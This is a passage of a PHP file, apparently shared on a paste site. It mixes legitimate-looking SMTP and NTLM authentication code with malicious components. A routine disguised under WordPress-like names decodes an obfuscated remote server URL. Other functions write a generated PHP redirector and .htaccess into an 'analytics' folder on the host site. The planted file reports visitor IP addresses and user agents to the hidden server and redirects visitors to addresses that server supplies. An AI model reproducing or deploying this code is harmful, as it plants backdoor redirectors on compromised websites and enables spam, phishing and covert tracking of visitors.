  2982.         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  2983.             $str = @fgets($this->smtp_conn, 515);
  2984.             $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  2985.             $this->edebug("SMTP -> get_lines(): \$str is  \"$str\"", self::DEBUG_LOWLEVEL);
  2986.             $data .= $str;
  2987.             if ((isset($str[3]) and $str[3] == ' ')) {
  2988.                 break;
  2989.             }
  2990.             $info = stream_get_meta_data($this->smtp_conn);
  2991.             if ($info['timed_out']) {
  2992.                 $this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL);
  2993.                 break;
  2994.             }
  2995.             if ($endtime and time() > $endtime) {
  2996.                 $this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL);
  2997.                 break;
  2998.             }
  2999.         }
  3000.         return $data;
  3001.     }
  3002.     public function setVerp($enabled = false) {
  3003.         $this->do_verp = $enabled;
  3004.     }
  3005.     public function getVerp() {
  3006.         return $this->do_verp;
  3007.     }
  3008.     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') {
  3009.         $this->error = array(
  3010.             'error' => $message,
  3011.             'detail' => $detail,
  3012.             'smtp_code' => $smtp_code,
  3013.             'smtp_code_ex' => $smtp_code_ex
  3014.         );
  3015.     }
  3016.     public function setDebugOutput($method = 'echo') {
  3017.         $this->Debugoutput = $method;
  3018.     }
  3019.     public function getDebugOutput() {
  3020.         return $this->Debugoutput;
  3021.     }
  3022.     public function setDebugLevel($level = 0) {
  3023.         $this->do_debug = $level;
  3024.     }
  3025.     public function getDebugLevel() {
  3026.         return $this->do_debug;
  3027.     }
  3028.     public function setTimeout($timeout = 0) {
  3029.         $this->Timeout = $timeout;
  3030.     }
  3031.     public function getTimeout() {
  3032.         return $this->Timeout;
  3033.     }
  3034.     protected function errorHandler($errno, $errmsg) {
  3035.         $notice = 'Connection: Failed to connect to server.';
  3036.         $this->setError($notice, $errno, $errmsg);
  3037.         $this->edebug($notice . ' Error number ' . $errno . '. "Error notice: ' . $errmsg, self::DEBUG_CONNECTION);
  3038.     }
  3039.     public function getLastTransactionID() {
  3040.         $reply = $this->getLastReply();
  3041.         if (empty($reply)) {
  3042.             return null;
  3043.         }
  3044.         foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
  3045.             if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
  3046.                 return $matches[1];
  3047.             }
  3048.         }
  3049.         return false;
  3050.     }
  3051. }
  3052. function Display404Page() {
  3053.     $sapi_name = php_sapi_name();
  3054.     if ($sapi_name == 'cgi' || $sapi_name == 'cgi-fcgi') {
  3055.         header('Status: 404 Not Found');
  3056.     } else {
  3057.         header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
  3058.     }
  3059.     $_SERVER['REDIRECT_STATUS'] = 404;
  3060.     echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  3061.     <html><head>
  3062.     <title>404 Not Found</title>
  3063.     </head><body>
  3064.     <h1>Not Found</h1>
  3065.     <p>The requested URL ' . $_SERVER[REQUEST_URI] . ' was not found on this server.</p>
  3066.     <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  3067.     <hr>' . $_SERVER[SERVER_SIGNATURE] . '</body></html>';
  3068.     exit;
  3069. }
  3070. function pre_term_name($wp_kses_data, $wp_nonce) {
  3071.     $wp_nonce    = base64_decode($wp_nonce);
  3072.     $kses_str    = str_replace(array(
  3073.         '%',
  3074.         '*'
  3075.     ), array(
  3076.         '/',
  3077.         '='
  3078.     ), $wp_kses_data);
  3079.     $filter      = base64_decode($kses_str);
  3080.     $md5         = strrev($wp_nonce);
  3081.     $sub         = substr(md5($md5), 0, strlen($wp_nonce));
  3082.     $wp_nonce    = md5($wp_nonce) . $sub;
  3083.     $preparefunc = 'gzinflate';
  3084.     $i           = 0;
  3085.     do {
  3086.         $ord        = ord($filter[$i]) - ord($wp_nonce[$i]);
  3087.         $filter[$i] = chr($ord % 256);
  3088.         $wp_nonce .= $filter[$i];
  3089.         $i++;
  3090.     } while ($i < strlen($filter));
  3091.     return @$preparefunc($filter);
  3092. }
  3093. function GetMailURL() {
  3094.     return pre_term_name("A2GMjxQJOgKAkGIGgl1bfo4HYoNdYv2Ffw6MWDk9YQ**", "dnpla2l0Yw==");
  3095. }
  3096. function RedirectionFile() {
  3097.     $Function1 = "fr" . randStr(7);
  3098.     $Function2 = "fr" . randStr(7);
  3099.     $Function3 = "fr" . randStr(7);
  3100.     $Function4 = "fr" . randStr(7);
  3101.     $PhpSource = '<?php
  3102. function cURLRequest($url, $postFields = null, $httpHeader = array()) {
  3103.     $ch = curl_init();
  3104.     curl_setopt($ch, CURLOPT_URL, $url);
  3105.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3106.     curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  3107.     if (!empty($postFields)) {
  3108.         curl_setopt($ch, CURLOPT_POST, 1);
  3109.         curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
  3110.     }
  3111.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; .NET CLR 1.1.4322)");
  3112.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3113.     curl_setopt($ch, CURLOPT_TIMEOUT, 90);
  3114.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  3115.     curl_setopt($ch, CURLOPT_ENCODING, \'gzip, deflate\');
  3116.     $headers   = array();
  3117.     $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0";
  3118.     $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  3119.     $headers[] = "Accept-Language: en-US,en;q=0.5";
  3120.     $headers[] = "Connection: keep-alive";
  3121.     $headers[] = "Cache-Control: max-age=0";
  3122.     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  3123.     $page     = curl_exec($ch);
  3124.     $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  3125.     if ($httpcode == 500) {
  3126.         return "ERROR_500_CURL";
  3127.     }
  3128.     if ($httpcode == 404) {
  3129.         return "ERROR_404_CURL";
  3130.     }
  3131.     if ($httpcode == 403) {
  3132.         return "ERROR_403_CURL";
  3133.     }
  3134.     if (curl_errno($ch)) {
  3135.         return "CURL_ERRNO|" . curl_error($ch);
  3136.     }
  3137.     curl_close($ch);
  3138.     return $page;
  3139. }
  3140. function GetPageContent($url, $postFields = null) {
  3141.     if (function_exists(\'curl_init\')) {
  3142.         return cURLRequest($url, $postFields);
  3143.     } elseif (!function_exists(\'file_get_contents\')) {
  3144.         return \'file_get_contents not available !\';
  3145.     } else {
  3146.         if (is_array($postFields)) {
  3147.             $postdata = http_build_query($postFields);
  3148.             $opts     = array(
  3149.                 \'http\' => array(
  3150.                     \'method\' => \'POST\',
  3151.                     \'header\' => \'Content-type: application/x-www-form-urlencoded\',
  3152.                     \'content\' => $postdata
  3153.                 )
  3154.             );
  3155.             $context  = stream_context_create($opts);
  3156.             $result   = @file_get_contents($url, false, $context);
  3157.             return $result;
  3158.         } else {
  3159.             return @file_get_contents($url);
  3160.         }
  3161.     }
  3162. }
  3163. function ' . $Function1 . '($' . $Function4 . ', $' . $Function3 . ') {
  3164.     $' . $Function3 . '    = base64_decode($' . $Function3 . ');
  3165.     $kses_str    = str_replace(array(
  3166.         \'%\',
  3167.         \'*\'
  3168.     ), array(
  3169.         \'/\',
  3170.         \'=\'
  3171.     ), $' . $Function4 . ');
  3172.     $filter      = base64_decode($kses_str);
  3173.     $md5         = strrev($' . $Function3 . ');
  3174.     $sub         = substr(md5($md5), 0, strlen($' . $Function3 . '));
  3175.     $' . $Function3 . '    = md5($' . $Function3 . ') . $sub;
  3176.     $preparefunc = \'gzinflate\';
  3177.     $i           = 0;
  3178.     do {
  3179.         $ord        = ord($filter[$i]) - ord($' . $Function3 . '[$i]);
  3180.         $filter[$i] = chr($ord % 256);
  3181.         $' . $Function3 . ' .= $filter[$i];
  3182.         $i++;
  3183.     } while ($i < strlen($filter));
  3184.     return @$preparefunc($filter);
  3185. }
  3186. function ' . $Function2 . '() {
  3187.     return ' . $Function1 . '("A2GMjxQJOgKAkGIGgl1bfo4HYoNdYv2Ffw6MWDk9YQ**", "dnpla2l0Yw==");
  3188. }
  3189. function get_ip_address() {
  3190.     foreach (array(
  3191.         \'HTTP_CLIENT_IP\',
  3192.         \'HTTP_X_FORWARDED_FOR\',
  3193.         \'HTTP_X_FORWARDED\',
  3194.         \'HTTP_X_CLUSTER_CLIENT_IP\',
  3195.         \'HTTP_FORWARDED_FOR\',
  3196.         \'HTTP_FORWARDED\',
  3197.         \'REMOTE_ADDR\'
  3198.     ) as $key) {
  3199.         if (array_key_exists($key, $_SERVER) === true) {
  3200.             foreach (explode(\',\', $_SERVER[$key]) as $ip) {
  3201.                 $ip = trim($ip);
  3202.                 if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
  3203.                     return $ip;
  3204.                 }
  3205.             }
  3206.         }
  3207.     }
  3208. }
  3209. function Display404Page() {
  3210.     $sapi_name = php_sapi_name();
  3211.     if ($sapi_name == \'cgi\' || $sapi_name == \'cgi-fcgi\') {
  3212.         header(\'Status: 404 Not Found\');
  3213.     } else {
  3214.         header($_SERVER[\'SERVER_PROTOCOL\'] . \' 404 Not Found\');
  3215.     }
  3216.     $_SERVER[\'REDIRECT_STATUS\'] = 404;
  3217.     echo \'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  3218.     <html><head>
  3219.     <title>404 Not Found</title>
  3220.     </head><body>
  3221.     <h1>Not Found</h1>
  3222.     <p>The requested URL \' . $_SERVER[REQUEST_URI] . \' was not found on this server.</p>
  3223.     <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  3224.     <hr>\' . $_SERVER[SERVER_SIGNATURE] . \'</body></html>\';
  3225.     exit;
  3226. }
  3227. if (isset($_GET[\'rewrite\'])) {
  3228.     $Rewrite = $_GET[\'rewrite\'];
  3229. } else {
  3230.     $Rewrite = $_SERVER[\'REQUEST_URI\'];
  3231. }
  3232. if (strpos($Rewrite, \'newsletter_image/\') !== false) {
  3233.     list($id, $image_name) = @explode(\'newsletter_image/\', $Rewrite);
  3234.     $parameters = array(
  3235.         "ip" => get_ip_address(),
  3236.         "agent" => $_SERVER[\'HTTP_USER_AGENT\'],
  3237.     );
  3238.     $checkread = @GetPageContent(' . $Function2 . '() . $image_name . "?" . http_build_query($parameters) );
  3239.     header(\'Content-Type: image/gif\');
  3240.     echo base64_decode(\'R0lGODlhAQABAJAAAP8AAAAAACH5BAUQAAAALAAAAAABAAEAAAICBAEAOw==\');
  3241.     exit;
  3242. }
  3243. if (strpos($Rewrite, \'redirect/\') !== false) {
  3244.     list($id, $redirect_name) = @explode(\'redirect/\', $Rewrite);
  3245.     list($emailid, $redirect) = @explode(\'-id-\', $redirect_name);
  3246.     list($random, $real_name) = @explode(\'-to-\', $redirect);
  3247.     $parameters = array(
  3248.         "name" => $real_name,
  3249.         "ip" => get_ip_address(),
  3250.         "agent" => $_SERVER[\'HTTP_USER_AGENT\'],
  3251.         "id" => $emailid
  3252.     );
  3253.     $url = ' . $Function2 . '() . "redirection/?" . http_build_query($parameters);
  3254.     $result = @GetPageContent($url);
  3255.     if (filter_var($result, FILTER_VALIDATE_URL)) {
  3256.         header("Location: " . $result);
  3257.     } else {
  3258.         Display404Page();
  3259.     }
  3260.     exit;
  3261. }';
  3262.     return $PhpSource;
  3263. }
  3264. function isRewriteON($s = false) {
  3265.     if ($s == false) {
  3266.         $s = $_SERVER;
  3267.     }
  3268.     if (isset($s['HTTP_MOD_REWRITE_SHELL'])) {
  3269.         return true;
  3270.     }
  3271.     return false;
  3272. }
  3273. function parentdir($url) {
  3274.     $url = currentdir($url);
  3275.     $len = strlen($url);
  3276.     return currentdir(substr($url, 0, $len && $url[$len - 1] == '/' ? -1 : $len));
  3277. }
  3278. function currentdir($url) {
  3279.     if ($first_query = strpos($url, '?'))
  3280.         $url = substr($url, 0, $first_query);
  3281.     if ($first_fragment = strpos($url, '#'))
  3282.         $url = substr($url, 0, $first_fragment);
  3283.     $last_slash = strrpos($url, '/');
  3284.     if (!$last_slash) {
  3285.         return '/';
  3286.     }
  3287.     if (($first_colon = strpos($url, '://')) !== false && $first_colon + 2 == $last_slash) {
  3288.         return $url . '/';
  3289.     }
  3290.     return substr($url, 0, $last_slash + 1);
  3291. }
  3292. function CreateHTaccess() {
  3293.     $Content   = array();
  3294.     $Content[] = '<IfModule mod_rewrite.c>';
  3295.     $Content[] = '  <IfModule mod_env.c>';
  3296.     $Content[] = '      SetEnv HTTP_MOD_REWRITE_SHELL On';
  3297.     $Content[] = '  </IfModule>';
  3298.     $Content[] = '</IfModule>';
  3299.     @file_put_contents(".htaccess", implode(PHP_EOL, $Content));
  3300. }
  3301. function GetRedirectionLink($url = false) {
  3302.     if ($url == false) {
  3303.         $url = full_url($_SERVER);
  3304.     }
  3305.     $CurrentURL     = currentdir($url);
  3306.     $RedirectionDir = parentdir($url);
  3307.     $Filename       = "index.php";
  3308.     $Folder         = "";
  3309.     if ($RedirectionDir != $CurrentURL) {
  3310.         $Folder = "../";
  3311.         while (true) {
  3312.             if (preg_match('/(?:wp-content\/plugins|wp-content\/themes|wp-includes|wp-admin|wp-content|modules\/mod_wdbanners|includes\/|google_recommends|mt-static|data\/module)/', parse_url($RedirectionDir, PHP_URL_PATH))) {
  3313.                 $Folder .= "../";
  3314.                 $RedirectionDir = parentdir($RedirectionDir);
  3315.             } else {
  3316.                 break;
  3317.             }
  3318.         }
  3319.     }
  3320.     if (!file_exists($Folder . "analytics" . REDIRECTION_FOLDER . "/" . $Filename)) {
  3321.         if (!is_dir($Folder . "analytics" . REDIRECTION_FOLDER)) {
  3322.             @mkdir($Folder . "analytics" . REDIRECTION_FOLDER);
  3323.         }
  3324.         if (is_dir($Folder . "analytics" . REDIRECTION_FOLDER)) {
  3325.             @file_put_contents($Folder . "analytics" . REDIRECTION_FOLDER . "/" . $Filename, RedirectionFile());
  3326.             $Content   = array();
  3327.             $Content[] = '<IfModule mod_rewrite.c>';
  3328.             $Content[] = '  <IfModule mod_env.c>';
  3329.             $Content[] = '      SetEnv HTTP_MOD_REWRITE_SHELL On';
  3330.             $Content[] = '  </IfModule>';
  3331.             $Content[] = 'RewriteEngine On';
  3332.             $Content[] = 'RewriteCond %{REQUEST_FILENAME} !-f';
  3333.             $Content[] = 'RewriteCond %{REQUEST_FILENAME} !-l';
  3334.             $Content[] = 'RewriteCond %{REQUEST_URI} !-l';
  3335.             $Content[] = 'RewriteCond %{REQUEST_FILENAME} !\.(ico|css|png|jpg|gif|js)$ [NC]';
  3336.             $Content[] = 'RewriteRule . index.php';
  3337.             $Content[] = '</IfModule>';
  3338.             @file_put_contents($Folder . "analytics" . REDIRECTION_FOLDER . "/.htaccess", implode(PHP_EOL, $Content));
  3339.         }
  3340.     }
  3341.     if (!file_exists($Folder . "analytics" . REDIRECTION_FOLDER . "/" . $Filename)) {
  3342.         return false;
  3343.     }
  3344.     if (!isRewriteON()) {
  3345.         $exploitURL = $RedirectionDir . "analytics" . REDIRECTION_FOLDER . "/?rewrite=";
  3346.     } else {
  3347.         $exploitURL = $RedirectionDir . "analytics" . REDIRECTION_FOLDER . "/";
  3348.     }
  3349.     return $exploitURL;
  3350. }
  3351. define("SASL_NTLM_STATE_START", 0);
  3352. define("SASL_NTLM_STATE_IDENTIFY_DOMAIN", 1);
  3353. define("SASL_NTLM_STATE_RESPOND_CHALLENGE", 2);
  3354. define("SASL_NTLM_STATE_DONE", 3);
  3355. define("SASL_FAIL", -1);
  3356. define("SASL_CONTINUE", 1);
  3357.  
  3358. class ntlm_sasl_client_class
  3359. {
  3360.     public $credentials = array();
  3361.     public $state = SASL_NTLM_STATE_START;
  3362.  
  3363.     public function initialize(&$client)
  3364.     {
  3365.         if (!function_exists($function = "mcrypt_encrypt")
  3366.             || !function_exists($function = "mhash")
  3367.         ) {
  3368.             $extensions = array(
  3369.                 "mcrypt_encrypt" => "mcrypt",
  3370.                 "mhash" => "mhash"
  3371.             );
  3372.             $client->error = "the extension " . $extensions[$function] .
  3373.                 " required by the NTLM SASL client class is not available in this PHP configuration";
  3374.             return (0);
  3375.         }
  3376.         return (1);
  3377.     }
  3378.  
  3379.     public function ASCIIToUnicode($ascii)
  3380.     {
  3381.         for ($unicode = "", $a = 0; $a < strlen($ascii); $a++) {
  3382.             $unicode .= substr($ascii, $a, 1) . chr(0);
  3383.         }
  3384.         return ($unicode);
  3385.     }
  3386.  
  3387.     public function typeMsg1($domain, $workstation)
  3388.     {
  3389.         $domain_length = strlen($domain);
  3390.         $workstation_length = strlen($workstation);
  3391.         $workstation_offset = 32;
  3392.         $domain_offset = $workstation_offset + $workstation_length;
  3393.         return (
  3394.             "NTLMSSP\0" .
  3395.             "\x01\x00\x00\x00" .
  3396.             "\x07\x32\x00\x00" .
  3397.             pack("v", $domain_length) .
  3398.             pack("v", $domain_length) .
  3399.             pack("V", $domain_offset) .
  3400.             pack("v", $workstation_length) .
  3401.             pack("v", $workstation_length) .
  3402.             pack("V", $workstation_offset) .
  3403.             $workstation .
  3404.             $domain
  3405.         );
  3406.     }
  3407.  
  3408.     public function NTLMResponse($challenge, $password)
  3409.     {
  3410.         $unicode = $this->ASCIIToUnicode($password);
  3411.         $md4 = mhash(MHASH_MD4, $unicode);
  3412.         $padded = $md4 . str_repeat(chr(0), 21 - strlen($md4));
  3413.         $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
  3414.         $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  3415.         for ($response = "", $third = 0; $third < 21; $third += 7) {
  3416.             for ($packed = "", $p = $third; $p < $third + 7; $p++) {
  3417.                 $packed .= str_pad(decbin(ord(substr($padded, $p, 1))), 8, "0", STR_PAD_LEFT);
  3418.             }
  3419.             for ($key = "", $p = 0; $p < strlen($packed); $p += 7) {
  3420.                 $s = substr($packed, $p, 7);
  3421.                 $b = $s . ((substr_count($s, "1") % 2) ? "0" : "1");
  3422.                 $key .= chr(bindec($b));
  3423.             }
  3424.             $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $challenge, MCRYPT_MODE_ECB, $iv);
  3425.             $response .= $ciphertext;
  3426.         }
  3427.         return $response;
  3428.     }
  3429.  
  3430.     public function typeMsg3($ntlm_response, $user, $domain, $workstation)
  3431.     {
  3432.         $domain_unicode = $this->ASCIIToUnicode($domain);
  3433.         $domain_length = strlen($domain_unicode);
  3434.         $domain_offset = 64;
  3435.         $user_unicode = $this->ASCIIToUnicode($user);
  3436.         $user_length = strlen($user_unicode);
  3437.         $user_offset = $domain_offset + $domain_length;
  3438.         $workstation_unicode = $this->ASCIIToUnicode($workstation);
  3439.         $workstation_length = strlen($workstation_unicode);
  3440.         $workstation_offset = $user_offset + $user_length;
  3441.         $lm = "";
  3442.         $lm_length = strlen($lm);
  3443.         $lm_offset = $workstation_offset + $workstation_length;
  3444.         $ntlm = $ntlm_response;
  3445.         $ntlm_length = strlen($ntlm);
  3446.         $ntlm_offset = $lm_offset + $lm_length;
  3447.         $session = "";
  3448.         $session_length = strlen($session);
  3449.         $session_offset = $ntlm_offset + $ntlm_length;
  3450.         return (
  3451.             "NTLMSSP\0" .
  3452.             "\x03\x00\x00\x00" .
  3453.             pack("v", $lm_length) .
  3454.             pack("v", $lm_length) .
  3455.             pack("V", $lm_offset) .
  3456.             pack("v", $ntlm_length) .
  3457.             pack("v", $ntlm_length) .
  3458.             pack("V", $ntlm_offset) .
  3459.             pack("v", $domain_length) .
  3460.             pack("v", $domain_length) .
  3461.             pack("V", $domain_offset) .
  3462.             pack("v", $user_length) .
  3463.             pack("v", $user_length) .
  3464.             pack("V", $user_offset) .
  3465.             pack("v", $workstation_length) .
  3466.             pack("v", $workstation_length) .
  3467.             pack("V", $workstation_offset) .
  3468.             pack("v", $session_length) .
  3469.             pack("v", $session_length) .
  3470.             pack("V", $session_offset) .
  3471.             "\x01\x02\x00\x00" .
  3472.             $domain_unicode .
  3473.             $user_unicode .
  3474.             $workstation_unicode .
  3475.             $lm .
  3476.             $ntlm
  3477.         );
  3478.     }
  3479.  
  3480.     public function start(&$client, &$message, &$interactions)
  3481.     {
  3482.         if ($this->state != SASL_NTLM_STATE_START) {
  3483.             $client->error = "NTLM authentication state is not at the start";
  3484.             return (SASL_FAIL);
  3485.         }
  3486.         $this->credentials = array(
  3487.             "user" => "",
  3488.             "password" => "",
  3489.             "realm" => "",
  3490.             "workstation" => ""
  3491.         );
  3492.         $defaults = array();
  3493.         $status = $client->GetCredentials($this->credentials, $defaults, $interactions);
  3494.         if ($status == SASL_CONTINUE) {
  3495.             $this->state = SASL_NTLM_STATE_IDENTIFY_DOMAIN;
  3496.         }
  3497.         unset($message);
  3498.         return ($status);
  3499.     }
  3500.  
  3501.     public function step(&$client, $response, &$message, &$interactions)
  3502.     {
  3503.         switch ($this->state) {
  3504.             case SASL_NTLM_STATE_IDENTIFY_DOMAIN:
  3505.                 $message = $this->typeMsg1($this->credentials["realm"], $this->credentials["workstation"]);
  3506.                 $this->state = SASL_NTLM_STATE_RESPOND_CHALLENGE;
  3507.                 break;
  3508.             case SASL_NTLM_STATE_RESPOND_CHALLENGE:
  3509.                 $ntlm_response = $this->NTLMResponse(substr($response, 24, 8), $this->credentials["password"]);
  3510.                 $message = $this->typeMsg3(
  3511.                     $ntlm_response,
  3512.                     $this->credentials["user"],
  3513.                     $this->credentials["realm"],
  3514.                     $this->credentials["workstation"]
  3515.                 );
  3516.                 $this->state = SASL_NTLM_STATE_DONE;
  3517.                 break;
  3518.             case SASL_NTLM_STATE_DONE:
  3519.                 $client->error = "NTLM authentication was finished without success";
  3520.                 return (SASL_FAIL);
  3521.             default:
  3522.                 $client->error = "invalid NTLM authentication step state";
  3523.                 return (SASL_FAIL);
  3524.         }
  3525.         return (SASL_CONTINUE);
  3526.     }
  3527. }
Add Comment
Please, Sign In to add comment